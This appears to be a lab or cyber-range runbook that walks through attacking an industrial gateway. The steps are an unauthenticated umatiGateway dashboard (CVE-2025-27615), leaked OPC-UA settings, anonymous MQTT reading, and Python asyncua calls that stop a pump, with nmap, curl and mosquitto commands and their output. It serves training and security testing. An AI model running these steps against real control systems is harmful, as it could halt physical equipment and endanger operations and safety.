Runbook: guild-exchange¶
Discovery¶
The DMZ address 10.10.5.10 may surface in prior loot or appear in a port scan. Port 8080 is reachable from the internet zone.
ponder@unseen-gate:~$ nmap -sV 10.10.5.10
Port 8080 shows as an HTTP service under a .NET/Kestrel server. Port 4840 does not appear; the OPC-UA endpoint is not directly reachable from this vantage point. Port 8080 is the only surface from here.
Management console¶
ponder@unseen-gate:~$ curl -s -o /dev/null -w '%{http_code}' http://10.10.5.10:8080/
Returns 200. No redirect, no authentication challenge. A management interface responding with 200 to an
unauthenticated request is already a finding.
ponder@unseen-gate:~$ curl -s http://10.10.5.10:8080/
The response is the umatiGateway management dashboard: a .NET application that bridges OPC-UA data to MQTT. The page shows current connection status, which OPC-UA nodes are subscribed, and where the output goes. None of this requires a login. This is CVE-2025-27615.
OPC endpoint¶
ponder@unseen-gate:~$ curl -s http://10.10.5.10:8080/OPCConnection
The full OPC-UA client configuration appears in the response: endpoint URL opc.tcp://10.10.5.13:4840, security mode
None, anonymous authentication. The gateway connects to guild-register at startup and sees no reason to restrict read
access to its own configuration. An address inside the DMZ, not reachable from the internet zone, has just appeared in
plain text.
MQTT output¶
The dashboard also reveals the MQTT destination: clacks-relay at 10.10.5.12:1883. From a machine with access to port
1883 and a mosquitto client:
mosquitto_sub -h 10.10.5.12 -t 'umati/#' -v
Messages arrive within a few seconds of connecting under the umati/v2/umati-guild-exchange/ prefix. The topic
structure confirms which OPC-UA nodes are being monitored:
umati/v2/umati-guild-exchange/online/nsu=http_3A_2F_2Fwww.cumulocity.com;i=7 1
umati/v2/umati-guild-exchange/online/nsu=http_3A_2F_2Fwww.cumulocity.com;i=9 1
umati/v2/umati-guild-exchange/online/nsu=http_3A_2F_2Fwww.cumulocity.com;i=11 1
umati/v2/umati-guild-exchange/BaseDataVariableType/nsu=http_3A_2F_2Fwww.cumulocity.com;i=7 {}
umati/v2/umati-guild-exchange/BaseDataVariableType/nsu=http_3A_2F_2Fwww.cumulocity.com;i=9 {}
umati/v2/umati-guild-exchange/BaseDataVariableType/nsu=http_3A_2F_2Fwww.cumulocity.com;i=11 {}
The payloads are {}. guild-exchange subscribes to those nodes and forwards the events, but cannot serialise plain
process-value nodes into the umati schema it expects, so nothing lands in the payload. The topic structure is the
finding: it names the OPC-UA namespace, confirms which nodes are monitored (nodes 7, 9, 11 on Pump01: operatingLevel,
flow, power), and reveals where the output goes. The process values are not visible here.
Direct OPC-UA access¶
The /OPCConnection response named guild-register as opc.tcp://10.10.5.13:4840 with SecurityMode None and anonymous
authentication. Port 4840 is not reachable from the internet zone. From a foothold inside the DMZ, such as
contractors-gate, it is:
root@contractors-gate:~# /venv/bin/python3
>>> from asyncua.sync import Client
>>> c = Client("opc.tcp://10.10.5.13:4840")
>>> c.connect()
>>> for node in c.nodes.objects.get_children():
... name = node.read_browse_name()
... print(name.Name, node.nodeid)
... for child in node.get_children():
... print(" ", child.read_browse_name().Name, child.nodeid)
...
The output maps the address space. Three pump objects appear under Objects: Pump01 (ns=2;i=6), Pump02 (ns=2;i=40),
and Pump03 (ns=2;i=53). guild-exchange only subscribes to Pump01. All three carry variable nodes (operatingLevel,
status, flow, power, and others), but only Pump01 carries method nodes; Pump02 and Pump03 are read-only, ending at
commandSuccess. Pump01’s methods sit as direct children: stopPump, startPump, resetFilter, changeOil, plus the
setters setOperatingLevel, setFilterDegradationRate, setAutoResetMinutes. No credential is required at any point.
To stop Pump01:
>>> pump = c.nodes.objects.get_child(["2:Pump01"])
>>> pump.call_method("2:stopPump")
True
>>> c.get_node("ns=2;i=8").read_value() # status
'Running'
The status stays Running while the operatingLevel node (i=7) ramps down toward zero. When it reaches zero the status
changes to Idle. Nothing in the MQTT stream indicates why the values stopped arriving.
What you can know now¶
Access:
Management dashboard at
http://10.10.5.10:8080/from the internet zone, no credentials requiredOPC-UA endpoint exposed by the dashboard:
opc.tcp://10.10.5.13:4840, SecurityMode None, anonymous
Data:
MQTT broker receiving the output:
10.10.5.12:1883, anonymous connections acceptedTopic structure confirms Pump01 nodes 7, 9, and 11 are actively subscribed; payloads arrive as
{}(schema mismatch in the gateway)Process values are readable directly from guild-register via OPC-UA (port 4840, DMZ access needed)
Three pump objects on guild-register: Pump01 (ns=2;i=6), Pump02 (ns=2;i=40), Pump03 (ns=2;i=53). guild-exchange
only subscribes to Pump01. Only Pump01 exposes methods; Pump02 and Pump03 are read-only.
Methods callable on Pump01 (direct children, no subfolder):
stopPump,startPump,resetFilter,changeOilsetOperatingLevel,setFilterDegradationRate,setAutoResetMinutes